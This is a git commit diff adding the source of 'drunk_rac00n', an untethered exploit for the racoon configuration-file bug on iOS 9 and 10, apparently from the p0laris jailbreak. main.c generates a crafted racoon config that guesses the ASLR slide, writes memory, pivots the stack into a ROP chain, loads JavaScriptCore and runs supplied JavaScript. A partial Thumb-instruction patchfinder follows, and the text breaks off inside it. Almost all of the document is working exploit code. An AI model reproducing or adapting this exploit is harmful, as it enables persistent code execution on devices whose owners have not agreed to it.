diff options
| author | spv <aquaticvegetable@gmail.com> | 2022-04-20 14:10:27 -0400 |
|---|---|---|
| committer | spv <aquaticvegetable@gmail.com> | 2022-04-20 14:10:27 -0400 |
| commit | 7caa231e0b0fa607080586725fbbc9628a1cc031 (patch) | |
| tree | e22a643aefbc73c703b90f2454c0f75374696399 /src | |
hello and welcome back to hell
Diffstat (limited to 'src')
| -rwxr-xr-x | src/common.h | 15 | ||||
| -rwxr-xr-x | src/ip_tools.c | 24 | ||||
| -rwxr-xr-x | src/ip_tools.h | 8 | ||||
| -rw-r--r-- | src/main.c | 497 | ||||
| -rw-r--r-- | src/patchfinder.c | 805 | ||||
| -rwxr-xr-x | src/patchfinder.h | 14 | ||||
| -rw-r--r-- | src/shit.c | 32 | ||||
| -rw-r--r-- | src/shit.h | 6 | ||||
| -rwxr-xr-x | src/stage0_primitives.c | 46 | ||||
| -rwxr-xr-x | src/stage0_primitives.h | 10 | ||||
| -rwxr-xr-x | src/stage1_primitives.c | 168 | ||||
| -rwxr-xr-x | src/stage1_primitives.h | 19 | ||||
| -rw-r--r-- | src/stage2.c | 400 | ||||
| -rw-r--r-- | src/stage2.h | 40 |
14 files changed, 2084 insertions, 0 deletions
diff --git a/src/common.h b/src/common.h new file mode 100755 index 0000000..8f5a32b --- /dev/null +++ b/src/common.h @@ -0,0 +1,15 @@ +#ifndef COMMON_H +#define COMMON_H + +#include <stdint.h> +#include <stdlib.h> + +struct racoon_offsets { + uint32_t dns4_offset; + uint32_t lc_conf_offset; + uint32_t stack_base; +}; + +extern char* fuck_memory_leaks; + +#endif
\ No newline at end of file diff --git a/src/ip_tools.c b/src/ip_tools.c new file mode 100755 index 0000000..6e36b64 --- /dev/null +++ b/src/ip_tools.c @@ -0,0 +1,24 @@ +/* + * ip_tools + */ + +#include <stdint.h> +#include <stdlib.h> +#include <stdio.h> + +#include "ip_tools.h" + +char* uint32_t_to_ip(uint32_t val) { + uint8_t byte1 = (val >> 0) & 0xff; + uint8_t byte2 = (val >> 8) & 0xff; + uint8_t byte3 = (val >> 16) & 0xff; + uint8_t byte4 = (val >> 24) & 0xff; + char* ret = NULL; + + asprintf(&ret, "%u.%u.%u.%u", + byte1, + byte2, + byte3, + byte4); + return ret; +}
\ No newline at end of file diff --git a/src/ip_tools.h b/src/ip_tools.h new file mode 100755 index 0000000..a011094 --- /dev/null +++ b/src/ip_tools.h @@ -0,0 +1,8 @@ +#ifndef IP_TOOLS_H +#define IP_TOOLS_H + +#include <stdint.h> + +char* uint32_t_to_ip(uint32_t val); + +#endif
\ No newline at end of file diff --git a/src/main.c b/src/main.c new file mode 100644 index 0000000..b2f6d3f --- /dev/null +++ b/src/main.c @@ -0,0 +1,497 @@ +/* + * drunk_rac00n + * untethered code execution on iOS 9 and 10, by exploiting the rocky racoon + * config file bug. then ROP the shit out of racoon, and it remains to be seen + * what will be done after that. UPDATE THIS COMMENT!!! + */ + +#include <stdbool.h> +#include <stdlib.h> +#include <unistd.h> +#include <string.h> +#include <stdio.h> + + +#include "stage1_primitives.h" +#include "stage0_primitives.h" +#include "patchfinder.h" +#include "stage2.h" +#include "ip_tools.h" +#include "common.h" +#include "shit.h" + +uint32_t DNS4_OFFSET; +uint32_t LC_CONF_OFFSET; + +char* fuck_memory_leaks = NULL; + +FILE* fp = NULL; + +void help(void) { + fprintf(stderr, + "usage: %s [-f /path/to/racoon] [-o /path/to/output/conf]\n", + getprogname()); +} + +void hexdump_to_stderr(void* what, size_t len, int cols, int col_split) { + uint8_t* new_what = (uint8_t*)what; + for (new_what = (uint8_t*)what; new_what < (what + len); new_what += (cols * col_split)) { + fprintf(stderr, "0x016%llx: ", new_what); + for (uint8_t* j = new_what; j < (new_what + (cols * col_split)); j += col_split) { + for (uint8_t* k = j; k < (j + col_split); k++) { + uint8_t val = *k; + if (new_what < (what + len)) { + fprintf(stderr, "%02x", val); + } else { + fprintf(stderr, " "); + } + } + + fprintf(stderr, " "); + } + + for (uint8_t* j = new_what; j < (new_what + (cols * col_split)); j++) { + uint8_t val = *j; + if (val < 0x20 || val >= 0x80) { + val = 0x2e; + } + + fprintf(stderr, "%c", val); + } + + fprintf(stderr, "\n"); + } +} + +void prim_hexdump_to_stderr(void* what, size_t len) { + for (uint8_t* new_what = (uint8_t*)what; new_what < (what + len); new_what++) { + fprintf(stderr, "%02x", *new_what); + } + + fprintf(stderr, "\n"); +} + +int main(int argc, + char* argv[]) { + uint8_t* buf = NULL; + size_t sz = -1; + char* bin_path = NULL; + char* js_path = NULL; + char* js_src = NULL; + FILE* bin = NULL; + FILE* js = NULL; + bool had_f = false; + bool had_j = false; + int c = -1; + + fp = stdout; + + fuck_memory_leaks = (char*)malloc(1048576); + + if (argc < 2) { + help(); + return -1; + } + + while ((c = getopt(argc, argv, "hf:o:j:")) != -1) { + switch (c) { + case 'o': + fp = fopen(optarg, "w"); + break; + case 'f': + bin_path = strdup(optarg); + had_f = true; + break; + case 'j': + js_path = strdup(optarg); + had_j = true; + break; + case 'h': + help(); + return -1; + default: + help(); + return -1; + } + } + + if (!bin_path) { +#if 0 + fprintf(stderr, + had_f ? "error: failed to open racoon binary...\n" + : "error: racoon binary unspecified.\n"); + return -1; +#endif + bin = fopen("/usr/sbin/racoon", "rb"); + } else { + bin = fopen(bin_path, "rb"); + } + + if (!had_j) { +#if 0 + fprintf(stderr, + had_j ? "error: failed to open JS code...\n" + : "error: JS code unspecified.\n"); + return -1; +#endif + js = fopen("lol.js", "rb"); + } else { + js = fopen(js_path, "rb"); + } + + fseek(js, 0L, SEEK_END); + sz = ftell(js); + rewind(js); + + js_src = (char*)malloc(sz); + fread(js_src, 1, sz, js); + + fseek(bin, 0L, SEEK_END); + sz = ftell(bin); + rewind(bin); + + buf = (uint8_t*)malloc(sz); + fread(buf, 1, sz, bin); + DNS4_OFFSET = find_dns4_offset(0, buf, sz); + LC_CONF_OFFSET = find_lc_conf_offset(0, buf, sz); + free(buf); + + fprintf(stderr, "we out here\n"); + + fprintf(fp, "# drunk_rac00n exploit by @__spv\n"); + fprintf(fp, "# this file is auto-generated by the p0laris untether,\n"); + fprintf(fp, "# do not edit or delete!!!\n"); + fprintf(fp, "# DNS4_OFFSET=0x%x\n", DNS4_OFFSET); + fprintf(fp, "# LC_CONF_OFFSET=0x%x\n", LC_CONF_OFFSET); + fprintf(fp, "# bin_path=\"%s\"\n", bin_path); + fprintf(fp, "# compiled on %s at %s by \"%s\", by %s in \"%s\"\n", + __DATE__, + __TIME__, + __VERSION__, + __WHOAMI__, + __PWD__); + fprintf(fp, "# - with love from spv <3\n"); + fprintf(fp, "\n"); + +// uint32_t stack_base = 0x1c7738; // my shell setup +// uint32_t stack_base = 0x1c7c88; // my 4s shell setup +// uint32_t stack_base = 0x1c2e48; // my lldb + uint32_t stack_base = 0x1c7d68; // btserver env + uint32_t magic_trigger_addr = 0xb6074; + + uint32_t mov_r0_0_bx_lr = 0x8d3e | 1; + uint32_t pop_r4_to_r7_pc = 0x781a | 1; + uint32_t mov_r0 = 0xee40 | 1; + uint32_t puts_addr = 0x9ac54; + uint32_t blx_r5 = 0x13012 | 1; + uint32_t malloc_addr = 0x9abdc; + uint32_t mov_r1_r0 = 0x72f76 | 1; + uint32_t nop = 0x781a | 1; + uint32_t printf_addr = 0x9ac30; + uint32_t exit_addr = 0x9a9a8; + uint32_t str_r0_r4 = 0x85474 | 1; + uint32_t ldr_r0_r0 = 0x397dc | 1; + uint32_t add_r0_r1 = 0x75cca | 1; + uint32_t pivot_addr = 0x75f18 | 1; + uint32_t pivot_to = 0x100000; + uint32_t weird_r3 = 0x75a3c | 1; + uint32_t other_weird_r3 = 0x8806 | 1; + +#if 0 + fprintf(stderr, "PRE: mov_r0_0_bx_lr: 0x%08x\n", mov_r0_0_bx_lr); + fprintf(stderr, "PRE: pop_r4_to_r7_pc: 0x%08x\n", pop_r4_to_r7_pc); + + mov_r0_0_bx_lr = (get_offset_to_binary_of_bytes(buf, sz, (uint8_t*)"\x70\x47\x00\x20\x70\x47", 6) + 0x4002) | 1; + pop_r4_to_r7_pc = (get_offset_to_binary_of_bytes(buf, sz, (uint8_t*)"\x01\xb0\xf0\xbd", 4) + 0x4002) | 1; + mov_r0 = (get_offset_to_binary_of_bytes(buf, sz, (uint8_t*)"\x20\x46\xf0\xbd", 4) + 0x4000) | 1; +// puts_addr = + + fprintf(stderr, "POST: mov_r0_0_bx_lr: 0x%08x\n", mov_r0_0_bx_lr); + fprintf(stderr, "POST: pop_r4_to_r7_pc: 0x%08x\n", pop_r4_to_r7_pc); +#endif + +// fprintf(stderr, "0x%08x\n", find_printf_addr(0, buf, sz)); +// fprintf(stderr, "0x%08x\n", find_puts_addr(0, buf, sz)); + + uint32_t scprefcreate_lazy_offset = 0xb4140; + uint32_t scprefcreate_dsc_offset = 0xce2065; + + uint32_t we_out_here_addr = 0x1c5000; + uint32_t malloc_status_addr = 0x1c5100; + uint32_t dyld_status_addr = 0x1c5200; + uint32_t dyld_status2_addr = 0x1c5300; + uint32_t jsc_addr = 0x1c5400; + uint32_t dlopen_status_addr = 0x1c5500; + uint32_t dyld_shc_status_addr = 0x1c5600; + uint32_t reserve_addr = 0x1a0000; + uint32_t nulls_addr = 0x5000; + uint32_t time_addr = 0x1c5700; + uint32_t arg_addr = 0x1c5800; + +#if 0 + for (int blaze = 0x1c7700; blaze < 0x1c8000; blaze += 4) { + fprintf(fp, "%s", write32_slid(blaze, 0x41000000 | blaze)); + } + + fprintf(fp, + "%s", + write32_slid(magic_trigger_addr, + 0x13371337)); + + /* + * dummy statement to run inet_pton to attempt the trigger if correct + * slide + */ + fprintf(fp, + "mode_cfg{" + "dns41.1.1.1;" + "}"); + + /* + * bail if the slide is wrong + */ + fprintf(fp, + "%s\n", + write32_unslid(0x41414141, + 0x42424242)); +#endif + +#if 0 +// fprintf(fp, +// "%s\n", +// write32_unslid(0x41414141, +// 0x42424242)); + uint32_t guessed_slide = 0x1000; + + for (uint32_t x = 0x1c7800; x < 0x1c8000; x += 4) { + fprintf(fp, "%s", write32_unslid(x + guessed_slide, 0x41000000 | x)); + } + + /* + * trigger if right slide + * + * this trigger is kinda magic to me, basically it's writing to some + * error or status variable that the YACC/bison internal shit uses or + * something, and writing some different val makes it think there was + * and error or some shit, idk + */ + fprintf(fp, + "%s", + write32_unslid(guessed_slide + magic_trigger_addr, + 0x13371337)); + + /* + * dummy statement to run inet_pton to attempt the trigger if correct + * slide + */ + fprintf(fp, + "mode_cfg{" + "dns41.1.1.1;" + "}"); + + /* + * bail if the slide is wrong + */ + fprintf(fp, + "%s\n", + write32_unslid(0x41414141, + 0x42424242)); +#endif + + for (int slide = 0x1; slide <= 0x3; slide++) { + uint32_t base = slide << 12; + uint32_t slid_stack = stack_base + base; + + char* we_out_here_str = NULL; + asprintf(&we_out_here_str, + "[*] drunk_rac00n exploit by spv. aslr_slide=0x%x\n" + "[*] ROP 'til you die motherfuckers.", + slide); + + fprintf(fp, + "%s", + writebuf_unslid(base + we_out_here_addr, + we_out_here_str, + strlen(we_out_here_str) + 1)); + + fprintf(fp, + "%s", + writebuf_unslid(base + malloc_status_addr, + "[*] malloc(...)\t\t\t= %p\n", + strlen("[*] malloc(...)\t\t\t= %p\n") + 1)); + + + fprintf(fp, + "%s", + writebuf_unslid(base + dyld_status_addr, + "[*] dyld_base\t\t\t= %p\n", + strlen("[*] dyld_base\t\t\t= %p\n") + 1)); + + fprintf(fp, + "%s", + writebuf_unslid(base + dyld_status2_addr, + "[*] *(uint32_t*)dyld_base\t= %p\n", + strlen("[*] *(uint32_t*)dyld_base\t= %p\n") + 1)); + + fprintf(fp, + "%s", + writebuf_unslid(base + jsc_addr, + "/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore", + strlen("/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore") + 1)); + + fprintf(fp, + "%s", + writebuf_unslid(base + dlopen_status_addr, + "[*] dlopen(JavaScriptCore)\t= %p\n", + strlen("[*] dlopen(JavaScriptCore)\t= %p\n") + 1)); + fprintf(fp, + "%s", + writebuf_unslid(base + dyld_shc_status_addr, + "[*] dyld_shared_cache base\t= %p\n", + strlen("[*] dyld_shared_cache base\t= %p\n") + 1)); + fprintf(fp, + "%s", + writebuf_unslid(base + time_addr, + "[*] time\t\t\t= %d\n", + strlen("[*] time\t\t\t= %d\n") + 1)); + fprintf(fp, + "%s", + writebuf_unslid(base + arg_addr, + "/untether/p0laris", + strlen("/untether/p0laris") + 1)); + + fprintf(fp, + "%s", + writebuf_unslid(0x108000, + "var parent = new Uint8Array(0x100);" + "var child = new Uint8Array(0x100);" + "" + "function shitalloc() {" + " var fuck = new Array();" + " for (var i = 0; i < 0x800000; i++) {" + " fuck[i] = i;" + " }" + " delete fuck;" + "}" + "" + "shitalloc();", + strlen("var parent = new Uint8Array(0x100);" + "var child = new Uint8Array(0x100);") + 1)); + fprintf(fp, + "%s", + writebuf_unslid(0x10a000, + js_src, + strlen(js_src) + 1)); + + fprintf(fp, + "%s", + writebuf_unslid(0x109000, + "still alive\n", + strlen("still alive\n") + 1)); + + + rop_chain_shit chain_b0i = gen_rop_chain(base, + we_out_here_addr, + mov_r0, + puts_addr, + blx_r5, + nulls_addr, + malloc_addr, + mov_r1_r0, + nop, + malloc_status_addr, + printf_addr, + exit_addr, + str_r0_r4, + reserve_addr, + ldr_r0_r0, + add_r0_r1, + pivot_to + 0x10, + dyld_shc_status_addr, + scprefcreate_dsc_offset, + scprefcreate_lazy_offset, + weird_r3, + other_weird_r3); + +// prim_hexdump_to_stderr(chain_b0i->teh_chain, chain_b0i->chain_len); + + fprintf(fp, + "\n\n# rop_chain length %d bytes (0x%x bytes hex), ASLR slide=0x%x, slid_base=0x%x\n", + chain_b0i->chain_len, + chain_b0i->chain_len, + (slide), + (slide << 12) + 0x4000); + +#if 0 + for (int val = 0; val < (chain_b0i->chain_len / 4); val++) { + fprintf(fp, + "%s", + write32_unslid(slid_stack + (val * 4), + chain_b0i->teh_chain[val])); + } +#endif + + fprintf(fp, "%s", write32_unslid(slid_stack + 0x0, pivot_to)); + fprintf(fp, "%s", write32_unslid(slid_stack + 0x4, 0x41414141)); + fprintf(fp, "%s", write32_unslid(slid_stack + 0x8, 0x41414141)); + fprintf(fp, "%s", write32_unslid(slid_stack + 0xc, 0x41414141)); + fprintf(fp, "%s", write32_unslid(slid_stack + 0x10, base + pivot_addr)); + fprintf(fp, "%s", write32_unslid(pivot_to + 0x0, 0x41414141)); + fprintf(fp, "%s", write32_unslid(pivot_to + 0x4, 0x41414141)); + fprintf(fp, "%s", write32_unslid(pivot_to + 0x8, 0x41414141)); + fprintf(fp, "%s", write32_unslid(pivot_to + 0xc, base + nop)); + + /* + * use writebuf_unslid as it uses like 1/6th of the statements + */ + fprintf(fp, + "%s", + writebuf_unslid(pivot_to + 0x10, + (char*)chain_b0i->teh_chain, + chain_b0i->chain_len)); + +// prim_hexdump_to_stderr(chain_b0i->teh_chain, chain_b0i->chain_len); + + /* + * trigger if right slide + * + * this trigger is kinda magic to me, basically it's writing to some + * error or status variable that the YACC/bison internal shit uses or + * something, and writing some different val makes it think there was + * and error or some shit, idk + */ + fprintf(fp, + "%s", + write32_unslid(base + magic_trigger_addr, + 0x13371337)); + + /* + * dummy statement to run inet_pton to attempt the trigger if correct + * slide + */ + fprintf(fp, + "mode_cfg{" + "dns41.1.1.1;" + "}"); + + /* + * we don't need no memory leaks round these parts + */ + free(chain_b0i->teh_chain); + } + + /* + * bail if the slide is wrong + */ + fprintf(fp, + "%s\n", + write32_unslid(0x41414141, + 0x42424242)); + + free(js_src); + free(fuck_memory_leaks); + +// getc(stdin); + + return 0; +} diff --git a/src/patchfinder.c b/src/patchfinder.c new file mode 100644 index 0000000..7464d70 --- /dev/null +++ b/src/patchfinder.c @@ -0,0 +1,805 @@ +/* + * fucking shit patchfinder that does garbage patchfinding for this shit fuck + * exploit + */ + +#include <mach/vm_types.h> +#include <mach-o/nlist.h> +#include <mach-o/dyld.h> +#include <mach-o/fat.h> +#include <sys/mman.h> +#include <stdint.h> +#include <string.h> +#include <dlfcn.h> +#include <stdio.h> + +#include "patchfinder.h" +#include "common.h" + +static uint32_t bit_range(uint32_t x, int start, int end) { + x = (x << (31 - start)) >> (31 - start); + x = (x >> end); + return x; +} + +static uint32_t ror(uint32_t x, int places) { + return (x >> places) | (x << (32 - places)); +} + +static int thumb_expand_imm_c(uint16_t imm12) { + if (bit_range(imm12, 11, 10) == 0) { + switch (bit_range(imm12, 9, 8)) { + case 0: + return bit_range(imm12, 7, 0); + case 1: + return (bit_range(imm12, 7, 0) << 16) | bit_range(imm12, 7, 0); + case 2: + return (bit_range(imm12, 7, 0) << 24) | (bit_range(imm12, 7, 0) << 8); + case 3: + return (bit_range(imm12, 7, 0) << 24) | (bit_range(imm12, 7, 0) << 16) | (bit_range(imm12, 7, 0) << 8) | bit_range(imm12, 7, 0); + default: + return 0; + } + } else { + uint32_t unrotated_value = 0x80 | bit_range(imm12, 6, 0); + return ror(unrotated_value, bit_range(imm12, 11, 7)); + } +} + +static int insn_is_32bit(uint16_t* i) { + return (*i & 0xe000) == 0xe000 && (*i & 0x1800) != 0x0; +} + +static int insn_is_bl(uint16_t* i) { + if ((*i & 0xf800) == 0xf000 && (*(i + 1) & 0xd000) == 0xd000) + return 1; + else if ((*i & 0xf800) == 0xf000 && (*(i + 1) & 0xd001) == 0xc000) + return 1; + else + return 0; +} + +static uint32_t insn_bl_imm32(uint16_t* i) { + uint16_t insn0 = *i; + uint16_t insn1 = *(i + 1); + uint32_t s = (insn0 >> 10) & 1; + uint32_t j1 = (insn1 >> 13) & 1; + uint32_t j2 = (insn1 >> 11) & 1; + uint32_t i1 = ~(j1 ^ s) & 1; + uint32_t i2 = ~(j2 ^ s) & 1; + uint32_t imm10 = insn0 & 0x3ff; + uint32_t imm11 = insn1 & 0x7ff; + uint32_t imm32 = (imm11 << 1) | (imm10 << 12) | (i2 << 22) | (i1 << 23) | (s ? 0xff000000 : 0); + return imm32; +} + +static int insn_is_b_conditional(uint16_t* i) { + return (*i & 0xF000) == 0xD000 && (*i & 0x0F00) != 0x0F00 && (*i & 0x0F00) != 0xE; +} + +static int insn_is_b_unconditional(uint16_t* i) { + if ((*i & 0xF800) == 0xE000) + return 1; + else if ((*i & 0xF800) == 0xF000 && (*(i + 1) & 0xD000) == 9) + return 1; + else + return 0; +} + +static int insn_is_ldr_literal(uint16_t* i) { + return (*i & 0xF800) == 0x4800 || (*i & 0xFF7F) == 0xF85F; +} + +static int insn_ldr_literal_rt(uint16_t* i) { + if ((*i & 0xF800) == 0x4800) + return (*i >> 8) & 7; + else if ((*i & 0xFF7F) == 0xF85F) + return (*(i + 1) >> 12) & 0xF; + else + return 0; +} + +static int insn_ldr_literal_imm(uint16_t* i) { + if ((*i & 0xF800) == 0x4800) + return (*i & 0xF) << 2; + else if ((*i & 0xFF7F) == 0xF85F) + return (*(i + 1) & 0xFFF) * (((*i & 0x0800) == 0x0800) ? 1 : -1); + else + return 0; +} + +// TODO: More encodings +static int insn_is_ldr_imm(uint16_t* i) { + uint8_t opA = bit_range(*i, 15, 12); + uint8_t opB = bit_range(*i, 11, 9); + + return opA == 6 && (opB & 4) == 4; +} + +static int insn_ldr_imm_rt(uint16_t* i) { + return (*i & 7); +} + +static int insn_ldr_imm_rn(uint16_t* i) { + return ((*i >> 3) & 7); +} + +static int insn_ldr_imm_imm(uint16_t* i) { + return ((*i >> 6) & 0x1F); +} + +// TODO: More encodings +static int insn_is_ldrb_imm(uint16_t* i) { + return (*i & 0xF800) == 0x7800; +} + +static int insn_ldrb_imm_rt(uint16_t* i) { + return (*i & 7); +} + +static int insn_ldrb_imm_rn(uint16_t* i) { + return ((*i >> 3) & 7); +} + +static int insn_ldrb_imm_imm(uint16_t* i) { + return ((*i >> 6) & 0x1F); +} + +static int insn_is_ldr_reg(uint16_t* i) { + if ((*i & 0xFE00) == 0x5800) + return 1; + else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return 1; + else + return 0; +} + +static int insn_ldr_reg_rn(uint16_t* i) { + if ((*i & 0xFE00) == 0x5800) + return (*i >> 3) & 0x7; + else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return (*i & 0xF); + else + return 0; +} + +int insn_ldr_reg_rt(uint16_t* i) { + if ((*i & 0xFE00) == 0x5800) + return *i & 0x7; + else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return (*(i + 1) >> 12) & 0xF; + else + return 0; +} + +int insn_ldr_reg_rm(uint16_t* i) { + if ((*i & 0xFE00) == 0x5800) + return (*i >> 6) & 0x7; + else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return *(i + 1) & 0xF; + else + return 0; +} + +static int insn_ldr_reg_lsl(uint16_t* i) { + if ((*i & 0xFE00) == 0x5800) + return 0; + else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return (*(i + 1) >> 4) & 0x3; + else + return 0; +} + +static int insn_is_add_reg(uint16_t* i) { + if ((*i & 0xFE00) == 0x1800) + return 1; + else if ((*i & 0xFF00) == 0x4400) + return 1; + else if ((*i & 0xFFE0) == 0xEB00) + return 1; + else + return 0; +} + +static int insn_add_reg_rd(uint16_t* i) { + if ((*i & 0xFE00) == 0x1800) + return (*i & 7); + else if ((*i & 0xFF00) == 0x4400) + return (*i & 7) | ((*i & 0x80) >> 4) ; + else if ((*i & 0xFFE0) == 0xEB00) + return (*(i + 1) >> 8) & 0xF; + else + return 0; +} + +static int insn_add_reg_rn(uint16_t* i) { + if ((*i & 0xFE00) == 0x1800) + return ((*i >> 3) & 7); + else if ((*i & 0xFF00) == 0x4400) + return (*i & 7) | ((*i & 0x80) >> 4) ; + else if ((*i & 0xFFE0) == 0xEB00) + return (*i & 0xF); + else + return 0; +} + +static int insn_add_reg_rm(uint16_t* i) { + if ((*i & 0xFE00) == 0x1800) + return (*i >> 6) & 7; + else if ((*i & 0xFF00) == 0x4400) + return (*i >> 3) & 0xF; + else if ((*i & 0xFFE0) == 0xEB00) + return *(i + 1) & 0xF; + else + return 0; +} + +static int insn_is_movt(uint16_t* i) { + return (*i & 0xFBF0) == 0xF2C0 && (*(i + 1) & 0x8000) == 0; +} + +static int insn_movt_rd(uint16_t* i) { + return (*(i + 1) >> 8) & 0xF; +} + +static int insn_movt_imm(uint16_t* i) { + return ((*i & 0xF) << 12) | ((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF); +} + +static int insn_is_mov_imm(uint16_t* i) { + if ((*i & 0xF800) == 0x2000) + return 1; + else if ((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0) + return 1; + else if ((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0) + return 1; + else + return 0; +} + +static int insn_mov_imm_rd(uint16_t* i) { + if ((*i & 0xF800) == 0x2000) + return (*i >> 8) & 7; + else if ((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0) + return (*(i + 1) >> 8) & 0xF; + else if ((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0) + return (*(i + 1) >> 8) & 0xF; + else + return 0; +} + +static int insn_mov_imm_imm(uint16_t* i) { + if ((*i & 0xF800) == 0x2000) + return *i & 0xF; + else if ((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0) + return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF)); + else if ((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0) + return ((*i & 0xF) << 12) | ((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF); + else + return 0; +} + +static int insn_is_cmp_imm(uint16_t* i) { + if ((*i & 0xF800) == 0x2800) + return 1; + else if ((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00) + return 1; + else + return 0; +} + +static int insn_cmp_imm_rn(uint16_t* i) { + if ((*i & 0xF800) == 0x2800) + return (*i >> 8) & 7; + else if ((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00) + return *i & 0xF; + else + return 0; +} + +static int insn_cmp_imm_imm(uint16_t* i) { + if ((*i & 0xF800) == 0x2800) + return *i & 0xFF; + else if ((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00) + return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF)); + else + return 0; +} + +static int insn_is_and_imm(uint16_t* i) { + return (*i & 0xFBE0) == 0xF000 && (*(i + 1) & 0x8000) == 0; +} + +static int insn_and_imm_rn(uint16_t* i) { + return *i & 0xF; +} + +static int insn_and_imm_rd(uint16_t* i) { + return (*(i + 1) >> 8) & 0xF; +} + +static int insn_and_imm_imm(uint16_t* i) { + return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF)); +} + +static int insn_is_push(uint16_t* i) { + if ((*i & 0xFE00) == 0xB400) + return 1; + else if (*i == 0xE92D) + return 1; + else if (*i == 0xF84D && (*(i + 1) & 0x0FFF) == 0x0D04) + return 1; + else + return 0; +} + +static int insn_push_registers(uint16_t* i) { + if ((*i & 0xFE00) == 0xB400) + return (*i & 0x00FF) | ((*i & 0x0100) << 6); + else if (*i == 0xE92D) + return *(i + 1); + else if (*i == 0xF84D && (*(i + 1) & 0x0FFF) == 0x0D04) + return 1 << ((*(i + 1) >> 12) & 0xF); + else + return 0; +} + +static int insn_is_preamble_push(uint16_t* i) { + return insn_is_push(i) && (insn_push_registers(i) & (1 << 14)) != 0; +} + +static int insn_is_str_imm(uint16_t* i) { + if ((*i & 0xF800) == 0x6000) + return 1; + else if ((*i & 0xF800) == 0x9000) + return 1; + else if ((*i & 0xFFF0) == 0xF8C0) + return 1; + else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return 1; + else + return 0; +} + +static int insn_str_imm_postindexed(uint16_t* i) { + if ((*i & 0xF800) == 0x6000) + return 1; + else if ((*i & 0xF800) == 0x9000) + return 1; + else if ((*i & 0xFFF0) == 0xF8C0) + return 1; + else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*(i + 1) >> 10) & 1; + else + return 0; +} + +static int insn_str_imm_wback(uint16_t* i) { + if ((*i & 0xF800) == 0x6000) + return 0; + else if ((*i & 0xF800) == 0x9000) + return 0; + else if ((*i & 0xFFF0) == 0xF8C0) + return 0; + else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*(i + 1) >> 8) & 1; + else + return 0; +} + +static int insn_str_imm_imm(uint16_t* i) { + if ((*i & 0xF800) == 0x6000) + return (*i & 0x07C0) >> 4; + else if ((*i & 0xF800) == 0x9000) + return (*i & 0xFF) << 2; + else if ((*i & 0xFFF0) == 0xF8C0) + return (*(i + 1) & 0xFFF); + else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*(i + 1) & 0xFF); + else + return 0; +} + +static int insn_str_imm_rt(uint16_t* i) { + if ((*i & 0xF800) == 0x6000) + return (*i & 7); + else if ((*i & 0xF800) == 0x9000) + return (*i >> 8) & 7; + else if ((*i & 0xFFF0) == 0xF8C0) + return (*(i + 1) >> 12) & 0xF; + else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*(i + 1) >> 12) & 0xF; + else + return 0; +} + +static int insn_str_imm_rn(uint16_t* i) { + if ((*i & 0xF800) == 0x6000) + return (*i >> 3) & 7; + else if ((*i & 0xF800) == 0x9000) + return 13; + else if ((*i & 0xFFF0) == 0xF8C0) + return (*i & 0xF); + else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*i & 0xF); + else + return 0; +} + +// Given an instruction, search backwards until an instruction is found matching the specified criterion. +static uint16_t* find_last_insn_matching(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* current_instruction, int (*match_func)(uint16_t*)) { + while ((uintptr_t)current_instruction > (uintptr_t)kdata) { + if (insn_is_32bit(current_instruction - 2) && !insn_is_32bit(current_instruction - 3)) { + current_instruction -= 2; + } else { + --current_instruction; + } + + if (match_func(current_instruction)) { + return current_instruction; + } + } + + return NULL; +} + +// Given an instruction and a register, find the PC-relative address that was stored inside the register by the time the instruction was reached. +static uint32_t find_pc_rel_value(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* insn, int reg) { + // Find the last instruction that completely wiped out this register + int found = 0; + uint16_t* current_instruction = insn; + while ((uintptr_t)current_instruction > (uintptr_t)kdata) { + if (insn_is_32bit(current_instruction - 2)) { + current_instruction -= 2; + } else { + --current_instruction; + } + + if (insn_is_mov_imm(current_instruction) && insn_mov_imm_rd(current_instruction) == reg) { + found = 1; + break; + } + + if (insn_is_ldr_literal(current_instruction) && insn_ldr_literal_rt(current_instruction) == reg) { + found = 1; + break; + } + } + + if (!found) + return 0; + + // Step through instructions, executing them as a virtual machine, only caring about instructions that affect the target register and are commonly used for PC-relative addressing. + uint32_t value = 0; + while ((uintptr_t)current_instruction < (uintptr_t)insn) { + if (insn_is_mov_imm(current_instruction) && insn_mov_imm_rd(current_instruction) == reg) { + value = insn_mov_imm_imm(current_instruction); + } else if (insn_is_ldr_literal(current_instruction) && 